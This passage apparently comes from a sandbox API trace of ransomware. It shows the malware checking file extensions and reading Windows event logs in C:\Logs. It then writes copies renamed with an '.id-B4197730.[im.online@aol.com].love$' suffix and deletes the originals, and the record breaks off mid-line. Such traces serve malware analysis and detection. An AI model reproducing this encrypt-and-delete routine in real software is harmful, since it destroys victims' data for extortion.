[0224.141] lstrlenW (lpString=".1cd") returned 4 [0224.141] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0224.141] lstrlenW (lpString=".jpg") returned 4 [0224.141] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.141] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.141] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43 [0224.142] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.142] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0224.142] CloseHandle (hObject=0x39c) returned 1 [0224.142] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0224.142] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0x20 [0224.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.145] lstrlenW (lpString=".doc") returned 4 [0224.145] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.145] lstrlenW (lpString=".docx") returned 5 [0224.145] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.145] lstrlenW (lpString=".pdf") returned 4 [0224.145] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.145] lstrlenW (lpString=".xls") returned 4 [0224.145] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.145] lstrlenW (lpString=".xlsx") returned 5 [0224.145] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.145] lstrlenW (lpString=".ppt") returned 4 [0224.145] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.145] lstrlenW (lpString=".zip") returned 4 [0224.145] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.145] lstrlenW (lpString=".rar") returned 4 [0224.145] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.145] lstrlenW (lpString=".bz2") returned 4 [0224.145] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.145] lstrlenW (lpString=".7z") returned 3 [0224.145] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.146] lstrlenW (lpString=".dbf") returned 4 [0224.146] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.146] lstrlenW (lpString=".1cd") returned 4 [0224.146] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.146] lstrlenW (lpString=".jpg") returned 4 [0224.146] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.146] lstrlenW (lpString=".doc") returned 4 [0224.146] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.146] lstrlenW (lpString=".docx") returned 5 [0224.146] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.146] lstrlenW (lpString=".pdf") returned 4 [0224.146] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.146] lstrlenW (lpString=".xls") returned 4 [0224.146] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.146] lstrlenW (lpString=".xlsx") returned 5 [0224.146] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.146] lstrlenW (lpString=".ppt") returned 4 [0224.146] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.146] lstrlenW (lpString=".zip") returned 4 [0224.146] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.146] lstrlenW (lpString=".rar") returned 4 [0224.147] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.147] lstrlenW (lpString=".bz2") returned 4 [0224.147] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.147] lstrlenW (lpString=".7z") returned 3 [0224.147] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.147] lstrlenW (lpString=".dbf") returned 4 [0224.147] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.147] lstrlenW (lpString=".1cd") returned 4 [0224.147] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0224.147] lstrlenW (lpString=".jpg") returned 4 [0224.147] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.147] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.147] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59 [0224.147] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.148] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0224.148] CloseHandle (hObject=0x39c) returned 1 [0224.149] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0224.149] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0x20 [0224.149] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.149] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.149] lstrlenW (lpString=".doc") returned 4 [0224.149] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.149] lstrlenW (lpString=".docx") returned 5 [0224.149] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.149] lstrlenW (lpString=".pdf") returned 4 [0224.149] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.149] lstrlenW (lpString=".xls") returned 4 [0224.149] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.149] lstrlenW (lpString=".xlsx") returned 5 [0224.149] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.149] lstrlenW (lpString=".ppt") returned 4 [0224.149] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.149] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.149] lstrlenW (lpString=".zip") returned 4 [0224.149] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.149] lstrlenW (lpString=".rar") returned 4 [0224.150] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.150] lstrlenW (lpString=".bz2") returned 4 [0224.150] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.150] lstrlenW (lpString=".7z") returned 3 [0224.150] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.150] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.150] lstrlenW (lpString=".dbf") returned 4 [0224.150] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.150] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.150] lstrlenW (lpString=".1cd") returned 4 [0224.150] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.150] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.150] lstrlenW (lpString=".jpg") returned 4 [0224.150] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.150] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.150] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.150] lstrlenW (lpString=".doc") returned 4 [0224.150] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.150] lstrlenW (lpString=".docx") returned 5 [0224.150] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.150] lstrlenW (lpString=".pdf") returned 4 [0224.150] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.150] lstrlenW (lpString=".xls") returned 4 [0224.150] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.150] lstrlenW (lpString=".xlsx") returned 5 [0224.150] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.150] lstrlenW (lpString=".ppt") returned 4 [0224.151] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.151] lstrlenW (lpString=".zip") returned 4 [0224.151] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.151] lstrlenW (lpString=".rar") returned 4 [0224.151] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.151] lstrlenW (lpString=".bz2") returned 4 [0224.151] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.151] lstrlenW (lpString=".7z") returned 3 [0224.151] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.151] lstrlenW (lpString=".dbf") returned 4 [0224.151] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.151] lstrlenW (lpString=".1cd") returned 4 [0224.151] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0224.151] lstrlenW (lpString=".jpg") returned 4 [0224.151] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.151] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.151] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47 [0224.151] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.152] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0224.152] CloseHandle (hObject=0x39c) returned 1 [0224.152] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0224.152] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.152] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.152] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.152] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.153] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0224.155] GetLastError () returned 0x0 [0224.155] ReadFile (in: hFile=0x39c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.398] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.401] ReadFile (in: hFile=0x39c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0224.401] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x132, lpOverlapped=0x0) returned 1 [0224.401] SetEndOfFile (hFile=0x3a0) returned 1 [0224.401] CloseHandle (hObject=0x3a0) returned 1 [0224.404] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.404] SetEndOfFile (hFile=0x39c) returned 1 [0224.406] CloseHandle (hObject=0x39c) returned 1 [0224.406] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.406] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0224.407] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.407] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.407] lstrlenW (lpString=".doc") returned 4 [0224.407] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.407] lstrlenW (lpString=".docx") returned 5 [0224.407] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.407] lstrlenW (lpString=".pdf") returned 4 [0224.407] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.407] lstrlenW (lpString=".xls") returned 4 [0224.407] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.407] lstrlenW (lpString=".xlsx") returned 5 [0224.407] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.407] lstrlenW (lpString=".ppt") returned 4 [0224.407] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.407] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.407] lstrlenW (lpString=".zip") returned 4 [0224.407] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.407] lstrlenW (lpString=".rar") returned 4 [0224.407] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.407] lstrlenW (lpString=".bz2") returned 4 [0224.408] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.408] lstrlenW (lpString=".7z") returned 3 [0224.408] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.408] lstrlenW (lpString=".dbf") returned 4 [0224.408] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.408] lstrlenW (lpString=".1cd") returned 4 [0224.408] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.408] lstrlenW (lpString=".jpg") returned 4 [0224.408] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.408] lstrlenW (lpString=".doc") returned 4 [0224.408] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.408] lstrlenW (lpString=".docx") returned 5 [0224.408] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.408] lstrlenW (lpString=".pdf") returned 4 [0224.408] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.408] lstrlenW (lpString=".xls") returned 4 [0224.408] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.408] lstrlenW (lpString=".xlsx") returned 5 [0224.408] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.408] lstrlenW (lpString=".ppt") returned 4 [0224.408] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.408] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.408] lstrlenW (lpString=".zip") returned 4 [0224.408] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.408] lstrlenW (lpString=".rar") returned 4 [0224.409] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.409] lstrlenW (lpString=".bz2") returned 4 [0224.409] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.409] lstrlenW (lpString=".7z") returned 3 [0224.409] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.409] lstrlenW (lpString=".dbf") returned 4 [0224.409] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.409] lstrlenW (lpString=".1cd") returned 4 [0224.409] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0224.409] lstrlenW (lpString=".jpg") returned 4 [0224.409] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.409] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.409] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56 [0224.409] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.409] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0224.410] CloseHandle (hObject=0x39c) returned 1 [0224.410] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0224.410] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.410] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.410] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.410] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.410] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0224.411] GetLastError () returned 0x0 [0224.411] ReadFile (in: hFile=0x39c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.431] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.434] ReadFile (in: hFile=0x39c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0224.434] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x144, lpOverlapped=0x0) returned 1 [0224.434] SetEndOfFile (hFile=0x3a0) returned 1 [0224.434] CloseHandle (hObject=0x3a0) returned 1 [0224.813] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.813] SetEndOfFile (hFile=0x39c) returned 1 [0224.818] CloseHandle (hObject=0x39c) returned 1 [0224.819] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.819] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0224.851] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.851] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.851] lstrlenW (lpString=".doc") returned 4 [0224.851] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.851] lstrlenW (lpString=".docx") returned 5 [0224.851] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.851] lstrlenW (lpString=".pdf") returned 4 [0224.851] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.851] lstrlenW (lpString=".xls") returned 4 [0224.851] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.851] lstrlenW (lpString=".xlsx") returned 5 [0224.851] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.851] lstrlenW (lpString=".ppt") returned 4 [0224.851] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.851] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.851] lstrlenW (lpString=".zip") returned 4 [0224.851] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.851] lstrlenW (lpString=".rar") returned 4 [0224.852] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.852] lstrlenW (lpString=".bz2") returned 4 [0224.852] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.852] lstrlenW (lpString=".7z") returned 3 [0224.852] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.852] lstrlenW (lpString=".dbf") returned 4 [0224.852] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.852] lstrlenW (lpString=".1cd") returned 4 [0224.852] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.852] lstrlenW (lpString=".jpg") returned 4 [0224.852] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0224.852] lstrlenW (lpString=".doc") returned 4 [0224.852] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.852] lstrlenW (lpString=".docx") returned 5 [0224.852] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.852] lstrlenW (lpString=".pdf") returned 4 [0224.853] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.853] lstrlenW (lpString=".xls") returned 4 [0224.853] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.853] lstrlenW (lpString=".xlsx") returned 5 [0224.853] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.853] lstrlenW (lpString=".ppt") returned 4 [0224.853] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned 